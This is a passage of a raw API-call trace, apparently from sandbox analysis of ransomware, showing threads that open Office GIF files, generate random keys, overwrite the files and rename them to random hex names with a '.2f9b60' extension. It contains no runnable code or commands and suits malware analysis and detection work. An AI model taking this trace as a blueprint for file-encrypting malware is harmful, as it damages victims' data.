0x1cd9f130 [0163.243] sprintf (in: _Dest=0x1cd9f130, _Format="%c%c" | out: _Dest="29") returned 2 [0163.243] sprintf (in: _Dest=0x1cd9f132, _Format="%c%c" | out: _Dest="3f") returned 2 [0163.244] sprintf (in: _Dest=0x1cd9f134, _Format="%c%c" | out: _Dest="71") returned 2 [0163.244] sprintf (in: _Dest=0x1cd9f136, _Format="%c%c" | out: _Dest="f2") returned 2 [0163.244] sprintf (in: _Dest=0x1cd9f138, _Format="%c%c" | out: _Dest="fa") returned 2 [0163.244] sprintf (in: _Dest=0x1cd9f13a, _Format="%c%c" | out: _Dest="e3") returned 2 [0163.244] sprintf (in: _Dest=0x1cd9f13c, _Format="%c%c" | out: _Dest="2d") returned 2 [0163.244] sprintf (in: _Dest=0x1cd9f13e, _Format="%c%c" | out: _Dest="f2") returned 2 [0163.244] sprintf (in: _Dest=0x1cd9f140, _Format="%c%c" | out: _Dest="83") returned 2 [0163.244] sprintf (in: _Dest=0x1cd9f142, _Format="%c%c" | out: _Dest="ad") returned 2 [0163.244] sprintf (in: _Dest=0x1cd9f144, _Format="%c%c" | out: _Dest="f2") returned 2 [0163.244] sprintf (in: _Dest=0x1cd9f146, _Format="%c%c" | out: _Dest="5a") returned 2 [0163.244] sprintf (in: _Dest=0x1cd9f148, _Format="%c%c" | out: _Dest="bd") returned 2 [0163.244] sprintf (in: _Dest=0x1cd9f14a, _Format="%c%c" | out: _Dest="5a") returned 2 [0163.244] sprintf (in: _Dest=0x1cd9f14c, _Format="%c%c" | out: _Dest="6e") returned 2 [0163.244] sprintf (in: _Dest=0x1cd9f14e, _Format="%c%c" | out: _Dest="4b") returned 2 [0163.244] sprintf (in: _Dest=0x1cd9f150, _Format="%c%c" | out: _Dest="8c") returned 2 [0163.244] sprintf (in: _Dest=0x1cd9f152, _Format="%c%c" | out: _Dest="41") returned 2 [0163.244] sprintf (in: _Dest=0x1cd9f154, _Format="%c%c" | out: _Dest="0d") returned 2 [0163.244] sprintf (in: _Dest=0x1cd9f156, _Format="%c%c" | out: _Dest="c1") returned 2 [0163.244] sprintf (in: _Dest=0x1cd9f158, _Format="%c%c" | out: _Dest="53") returned 2 [0163.244] sprintf (in: _Dest=0x1cd9f15a, _Format="%c%c" | out: _Dest="6c") returned 2 [0163.244] sprintf (in: _Dest=0x1cd9f15c, _Format="%c%c" | out: _Dest="7a") returned 2 [0163.244] sprintf (in: _Dest=0x1cd9f15e, _Format="%c%c" | out: _Dest="0b") returned 2 [0163.244] RtlInitAnsiString (in: DestinationString=0x39bff728, SourceString="293f71f2fae32df283adf25abd5a6e4b8c410dc1536c7a0b" | out: DestinationString="293f71f2fae32df283adf25abd5a6e4b8c410dc1536c7a0b") [0163.244] RtlAnsiStringToUnicodeString (in: DestinationString=0x39bff6f8, SourceString="293f71f2fae32df283adf25abd5a6e4b8c410dc1536c7a0b", AllocateDestinationString=1 | out: DestinationString="293f71f2fae32df283adf25abd5a6e4b8c410dc1536c7a0b") returned 0x0 [0163.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b785ef0 [0163.245] RtlFreeAnsiString (AnsiString="2") [0163.245] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f130) returned 1 [0163.245] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d200) returned 1 [0163.245] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0b30) returned 1 [0163.246] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423aa890) returned 1 [0163.246] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a44f0) returned 1 [0163.246] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4520) returned 1 [0163.246] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a44c0) returned 1 [0163.246] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4490) returned 1 [0163.247] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0bf0) returned 1 [0163.247] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0cb0) returned 1 [0163.247] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0ce0) returned 1 [0163.247] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x2050d160 [0163.247] wcscat (in: _Dest=0x2050d160, _Source="293f71f2fae3" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\293f71f2fae3") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\293f71f2fae3" [0163.247] wcscat (in: _Dest=0x2050d160, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\293f71f2fae3.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\293f71f2fae3.2f9b60" [0163.248] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\293f71f2fae3.2f9b60", NtPathName=0x39bff6d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\293f71f2fae3.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.248] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x1ce226e0 Thread: id = 2646 os_tid = 0x21c4 [0157.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10337_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10337_.gif")) returned 0x20 [0157.043] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10337_.GIF", dwFileAttributes=0x20) returned 1 [0157.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10337_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10337_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x7b8 [0157.045] GetFileSizeEx (in: hFile=0x7b8, lpFileSize=0x394bfe40 | out: lpFileSize=0x394bfe40*=240) returned 1 [0157.045] SetFilePointerEx (in: hFile=0x7b8, liDistanceToMove=0xec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.045] ReadFile (in: hFile=0x7b8, lpBuffer=0x394bfdc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x394bfe08, lpOverlapped=0x0 | out: lpBuffer=0x394bfdc0*, lpNumberOfBytesRead=0x394bfe08*=0x4, lpOverlapped=0x0) returned 1 [0157.046] SetFilePointerEx (in: hFile=0x7b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.047] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f69a0 [0157.047] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0c80 [0157.048] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0d10 [0157.048] NtQuerySystemTime (in: CurrentTime=0x394bfd00 | out: CurrentTime=0x394bfd00*=132462177621850000) returned 0x0 [0157.048] RtlRandomEx (in: Seed=0x394bfcf0 | out: Seed=0x394bfcf0) returned 0x3fbe268e [0157.048] RtlRandomEx (in: Seed=0x394bfcf0 | out: Seed=0x394bfcf0) returned 0x7a10f7c9 [0157.048] RtlRandomEx (in: Seed=0x394bfcf0 | out: Seed=0x394bfcf0) returned 0x288c6574 [0157.048] RtlRandomEx (in: Seed=0x394bfcf0 | out: Seed=0x394bfcf0) returned 0x5d386a6c [0157.048] RtlRandomEx (in: Seed=0x394bfcf0 | out: Seed=0x394bfcf0) returned 0x7a752b39 [0157.048] RtlRandomEx (in: Seed=0x394bfcf0 | out: Seed=0x394bfcf0) returned 0x9f45efa [0157.048] RtlRandomEx (in: Seed=0x394bfcf0 | out: Seed=0x394bfcf0) returned 0x6610a4af [0157.048] RtlRandomEx (in: Seed=0x394bfcf0 | out: Seed=0x394bfcf0) returned 0x63dd0bce [0157.048] RtlRandomEx (in: Seed=0x394bfcf0 | out: Seed=0x394bfcf0) returned 0x46dc8c50 [0157.048] RtlRandomEx (in: Seed=0x394bfcf0 | out: Seed=0x394bfcf0) returned 0x443ed6ca [0157.048] RtlRandomEx (in: Seed=0x394bfcf0 | out: Seed=0x394bfcf0) returned 0x20043749 [0157.048] RtlRandomEx (in: Seed=0x394bfcf0 | out: Seed=0x394bfcf0) returned 0x7f67826f [0157.048] RtlRandomEx (in: Seed=0x394bfcf0 | out: Seed=0x394bfcf0) returned 0x289aa695 [0157.048] RtlRandomEx (in: Seed=0x394bfcf0 | out: Seed=0x394bfcf0) returned 0x60c17ee5 [0157.048] RtlRandomEx (in: Seed=0x394bfcf0 | out: Seed=0x394bfcf0) returned 0x6f866c20 [0157.048] RtlRandomEx (in: Seed=0x394bfcf0 | out: Seed=0x394bfcf0) returned 0x5bf94062 [0157.048] RtlRandomEx (in: Seed=0x394bfcf0 | out: Seed=0x394bfcf0) returned 0x4dedfc89 [0157.048] RtlRandomEx (in: Seed=0x394bfcf0 | out: Seed=0x394bfcf0) returned 0x6347b012 [0157.048] RtlRandomEx (in: Seed=0x394bfcf0 | out: Seed=0x394bfcf0) returned 0x60910160 [0157.048] RtlRandomEx (in: Seed=0x394bfcf0 | out: Seed=0x394bfcf0) returned 0x7d915394 [0157.048] RtlRandomEx (in: Seed=0x394bfcf0 | out: Seed=0x394bfcf0) returned 0x27a90c8a [0157.048] RtlRandomEx (in: Seed=0x394bfcf0 | out: Seed=0x394bfcf0) returned 0x14bed258 [0157.049] RtlRandomEx (in: Seed=0x394bfcf0 | out: Seed=0x394bfcf0) returned 0x54d7f329 [0157.049] RtlRandomEx (in: Seed=0x394bfcf0 | out: Seed=0x394bfcf0) returned 0x263b0b5c [0157.049] RtlRandomEx (in: Seed=0x394bfcf0 | out: Seed=0x394bfcf0) returned 0x2fa32cef [0157.049] RtlRandomEx (in: Seed=0x394bfcf0 | out: Seed=0x394bfcf0) returned 0x3f0119ba [0157.049] RtlRandomEx (in: Seed=0x394bfcf0 | out: Seed=0x394bfcf0) returned 0x30c95eeb [0157.049] RtlRandomEx (in: Seed=0x394bfcf0 | out: Seed=0x394bfcf0) returned 0x11ec30a7 [0157.049] RtlRandomEx (in: Seed=0x394bfcf0 | out: Seed=0x394bfcf0) returned 0x5ddacf51 [0157.049] RtlRandomEx (in: Seed=0x394bfcf0 | out: Seed=0x394bfcf0) returned 0x30eca88b [0157.049] RtlRandomEx (in: Seed=0x394bfcf0 | out: Seed=0x394bfcf0) returned 0x24d17aa1 [0157.049] RtlRandomEx (in: Seed=0x394bfcf0 | out: Seed=0x394bfcf0) returned 0x7e0efdd [0157.058] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0d40 [0157.058] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6520 [0157.058] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0d70 [0157.059] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6520) returned 1 [0157.059] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0d10) returned 1 [0157.059] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f69a0) returned 1 [0157.059] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce19220 [0157.059] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6520 [0157.059] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f69a0 [0157.060] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f69a0) returned 1 [0157.060] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42acfe10 [0157.060] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42ad3a20 [0157.060] ReadFile (in: hFile=0x7b8, lpBuffer=0x42acfe10, nNumberOfBytesToRead=0xf0, lpNumberOfBytesRead=0x394bfcf0, lpOverlapped=0x0 | out: lpBuffer=0x42acfe10*, lpNumberOfBytesRead=0x394bfcf0*=0xf0, lpOverlapped=0x0) returned 1 [0157.060] SetFilePointerEx (in: hFile=0x7b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.060] WriteFile (in: hFile=0x7b8, lpBuffer=0x42ad3a20*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x394bfcf4, lpOverlapped=0x0 | out: lpBuffer=0x42ad3a20*, lpNumberOfBytesWritten=0x394bfcf4*=0xf0, lpOverlapped=0x0) returned 1 [0161.445] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a43d0 [0161.445] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4400 [0161.446] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4400) returned 1 [0161.446] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ad3a20) returned 1 [0161.446] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42acfe10) returned 1 [0161.446] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6520) returned 1 [0161.446] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce19220) returned 1 [0161.446] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a4400 [0161.447] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce19220 [0161.447] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6520 [0161.447] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4430 [0161.447] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4430) returned 1 [0161.447] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a4430 [0161.448] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4460 [0161.448] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4490 [0161.448] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4490) returned 1 [0161.448] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6520) returned 1 [0161.449] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce19220) returned 1 [0161.449] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x423aa770 [0161.449] SetFilePointerEx (in: hFile=0x7b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.449] WriteFile (in: hFile=0x7b8, lpBuffer=0x423aa770*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x394bfe10, lpOverlapped=0x0 | out: lpBuffer=0x423aa770*, lpNumberOfBytesWritten=0x394bfe10*=0x10a, lpOverlapped=0x0) returned 1 [0163.224] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c760 [0163.224] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59c30 [0163.224] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0bc0 [0163.225] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0bc0) returned 1 [0163.225] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d200 [0163.225] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0bc0 [0163.225] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0b90 [0163.226] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0b90) returned 1 [0163.226] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59c30) returned 1 [0163.226] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c760) returned 1 [0163.226] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f130 [0163.226] sprintf (in: _Dest=0x1cd9f130, _Format="%c%c" | out: _Dest="a9") returned 2 [0163.226] sprintf (in: _Dest=0x1cd9f132, _Format="%c%c" | out: _Dest="43") returned 2 [0163.226] sprintf (in: _Dest=0x1cd9f134, _Format="%c%c" | out: _Dest="14") returned 2 [0163.226] sprintf (in: _Dest=0x1cd9f136, _Format="%c%c" | out: _Dest="8e") returned 2 [0163.226] sprintf (in: _Dest=0x1cd9f138, _Format="%c%c" | out: _Dest="97") returned 2 [0163.227] sprintf (in: _Dest=0x1cd9f13a, _Format="%c%c" | out: _Dest="b7") returned 2 [0163.227] sprintf (in: _Dest=0x1cd9f13c, _Format="%c%c" | out: _Dest="71") returned 2 [0163.227] sprintf (in: _Dest=0x1cd9f13e, _Format="%c%c" | out: _Dest="ef") returned 2 [0163.227] sprintf (in: _Dest=0x1cd9f140, _Format="%c%c" | out: _Dest="31") returned 2 [0163.227] sprintf (in: _Dest=0x1cd9f142, _Format="%c%c" | out: _Dest="3f") returned 2 [0163.227] sprintf (in: _Dest=0x1cd9f144, _Format="%c%c" | out: _Dest="e3") returned 2 [0163.227] sprintf (in: _Dest=0x1cd9f146, _Format="%c%c" | out: _Dest="03") returned 2 [0163.227] sprintf (in: _Dest=0x1cd9f148, _Format="%c%c" | out: _Dest="94") returned 2 [0163.227] sprintf (in: _Dest=0x1cd9f14a, _Format="%c%c" | out: _Dest="ff") returned 2 [0163.227] sprintf (in: _Dest=0x1cd9f14c, _Format="%c%c" | out: _Dest="87") returned 2 [0163.227] sprintf (in: _Dest=0x1cd9f14e, _Format="%c%c" | out: _Dest="a0") returned 2 [0163.227] sprintf (in: _Dest=0x1cd9f150, _Format="%c%c" | out: _Dest="27") returned 2 [0163.227] sprintf (in: _Dest=0x1cd9f152, _Format="%c%c" | out: _Dest="a1") returned 2 [0163.227] sprintf (in: _Dest=0x1cd9f154, _Format="%c%c" | out: _Dest="96") returned 2 [0163.227] sprintf (in: _Dest=0x1cd9f156, _Format="%c%c" | out: _Dest="5d") returned 2 [0163.227] sprintf (in: _Dest=0x1cd9f158, _Format="%c%c" | out: _Dest="76") returned 2 [0163.227] sprintf (in: _Dest=0x1cd9f15a, _Format="%c%c" | out: _Dest="c1") returned 2 [0163.227] sprintf (in: _Dest=0x1cd9f15c, _Format="%c%c" | out: _Dest="9b") returned 2 [0163.227] sprintf (in: _Dest=0x1cd9f15e, _Format="%c%c" | out: _Dest="1a") returned 2 [0163.227] RtlInitAnsiString (in: DestinationString=0x394bfe88, SourceString="a943148e97b771ef313fe30394ff87a027a1965d76c19b1a" | out: DestinationString="a943148e97b771ef313fe30394ff87a027a1965d76c19b1a") [0163.227] RtlAnsiStringToUnicodeString (in: DestinationString=0x394bfe58, SourceString="a943148e97b771ef313fe30394ff87a027a1965d76c19b1a", AllocateDestinationString=1 | out: DestinationString="a943148e97b771ef313fe30394ff87a027a1965d76c19b1a") returned 0x0 [0163.227] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7865f0 [0163.228] RtlFreeAnsiString (AnsiString="a") [0163.228] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f130) returned 1 [0163.228] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d200) returned 1 [0163.229] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0bc0) returned 1 [0163.229] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423aa770) returned 1 [0163.229] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4430) returned 1 [0163.229] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4460) returned 1 [0163.230] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4400) returned 1 [0163.230] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a43d0) returned 1 [0163.230] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0c80) returned 1 [0163.230] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0d40) returned 1 [0163.230] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0d70) returned 1 [0163.231] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x2050c0e0 [0163.231] wcscat (in: _Dest=0x2050c0e0, _Source="a943148e97b7" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\a943148e97b7") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\a943148e97b7" [0163.231] wcscat (in: _Dest=0x2050c0e0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\a943148e97b7.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\a943148e97b7.2f9b60" [0163.231] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\a943148e97b7.2f9b60", NtPathName=0x394bfe30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\a943148e97b7.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.231] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x1ce22860 Thread: id = 2647 os_tid = 0x21c8 [0157.062] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14513_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14513_.gif")) returned 0x20 [0157.063] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14513_.GIF", dwFileAttributes=0x20) returned 1 [0157.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14513_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14513_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x10c4 [0157.064] GetFileSizeEx (in: hFile=0x10c4, lpFileSize=0x3a61f700 | out: lpFileSize=0x3a61f700*=206) returned 1 [0157.064] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f69a0 [0157.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0d10 [0157.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0da0 [0157.065] NtQuerySystemTime (in: CurrentTime=0x3a61f5c0 | out: CurrentTime=0x3a61f5c0*=132462177622006000) returned 0x0 [0157.065] RtlRandomEx (in: Seed=0x3a61f5b0 | out: Seed=0x3a61f5b0) returned 0x2dc9e320 [0157.065] RtlRandomEx (in: Seed=0x3a61f5b0 | out: Seed=0x3a61f5b0) returned 0x3fd856c2 [0157.065] RtlRandomEx (in: Seed=0x3a61f5b0 | out: Seed=0x3a61f5b0) returned 0x3142a5a7 [0157.065] RtlRandomEx (in: Seed=0x3a61f5b0 | out: Seed=0x3a61f5b0) returned 0x16938da8 [0157.065] RtlRandomEx (in: Seed=0x3a61f5b0 | out: Seed=0x3a61f5b0) returned 0x730302f1 [0157.065] RtlRandomEx (in: Seed=0x3a61f5b0 | out: Seed=0x3a61f5b0) returned 0x7c4ab955 [0157.065] RtlRandomEx (in: Seed=0x3a61f5b0 | out: Seed=0x3a61f5b0) returned 0x53fccd [0157.065] RtlRandomEx (in: Seed=0x3a61f5b0 | out: Seed=0x3a61f5b0) returned 0x25204944 [0157.065] RtlRandomEx (in: Seed=0x3a61f5b0 | out: Seed=0x3a61f5b0) returned 0x73e79725 [0157.065] RtlRandomEx (in: Seed=0x3a61f5b0 | out: Seed=0x3a61f5b0) returned 0x247bc921 [0157.065] RtlRandomEx (in: Seed=0x3a61f5b0 | out: Seed=0x3a61f5b0) returned 0x7552566c [0157.065] RtlRandomEx (in: Seed=0x3a61f5b0 | out: Seed=0x3a61f5b0) returned 0x6ace9390 [0157.065] RtlRandomEx (in: Seed=0x3a61f5b0 | out: Seed=0x3a61f5b0) returned 0x3b9e64 [0157.066] RtlRandomEx (in: Seed=0x3a61f5b0 | out: Seed=0x3a61f5b0) returned 0x6f639b9d [0157.066] RtlRandomEx (in: Seed=0x3a61f5b0 | out: Seed=0x3a61f5b0) returned 0x39f67f65 [0157.066] RtlRandomEx (in: Seed=0x3a61f5b0 | out: Seed=0x3a61f5b0) returned 0x3394e586 [0157.066] RtlRandomEx (in: Seed=0x3a61f5b0 | out: Seed=0x3a61f5b0) returned 0x31304dba [0157.066] RtlRandomEx (in: Seed=0x3a61f5b0 | out: Seed=0x3a61f5b0) returned 0x2b8e39c9 [0157.066] RtlRandomEx (in: Seed=0x3a61f5b0 | out: Seed=0x3a61f5b0) returned 0x62ba64cc [0157.066] RtlRandomEx (in: Seed=0x3a61f5b0 | out: Seed=0x3a61f5b0) returned 0x3e3c17f9 [0157.066] RtlRandomEx (in: Seed=0x3a61f5b0 | out: Seed=0x3a61f5b0) returned 0x68d366e1 [0157.066] RtlRandomEx (in: Seed=0x3a61f5b0 | out: Seed=0x3a61f5b0) returned 0x4fc90d8d [0157.066] RtlRandomEx (in: Seed=0x3a61f5b0 | out: Seed=0x3a61f5b0) returned 0x502f3c78 [0157.066] RtlRandomEx (in: Seed=0x3a61f5b0 | out: Seed=0x3a61f5b0) returned 0x633ee56c [0157.066] RtlRandomEx (in: Seed=0x3a61f5b0 | out: Seed=0x3a61f5b0) returned 0x78af97c3 [0157.066] RtlRandomEx (in: Seed=0x3a61f5b0 | out: Seed=0x3a61f5b0) returned 0x41823b90 [0157.066] RtlRandomEx (in: Seed=0x3a61f5b0 | out: Seed=0x3a61f5b0) returned 0x6a4bf770 [0157.066] RtlRandomEx (in: Seed=0x3a61f5b0 | out: Seed=0x3a61f5b0) returned 0x44a8f445 [0157.066] RtlRandomEx (in: Seed=0x3a61f5b0 | out: Seed=0x3a61f5b0) returned 0x2842d71f [0157.066] RtlRandomEx (in: Seed=0x3a61f5b0 | out: Seed=0x3a61f5b0) returned 0x12f3fe97 [0157.066] RtlRandomEx (in: Seed=0x3a61f5b0 | out: Seed=0x3a61f5b0) returned 0x200126ce [0157.066] RtlRandomEx (in: Seed=0x3a61f5b0 | out: Seed=0x3a61f5b0) returned 0x1c513992 [0157.074] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0dd0 [0157.074] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec65a0 [0157.075] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0e00 [0157.075] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec65a0) returned 1 [0157.075] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0da0) returned 1 [0157.075] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f69a0) returned 1 [0157.075] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce19270 [0157.075] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec65a0 [0157.075] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f69a0 [0157.076] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f69a0) returned 1 [0157.076] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42ad7630 [0157.076] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42adb240 [0157.077] ReadFile 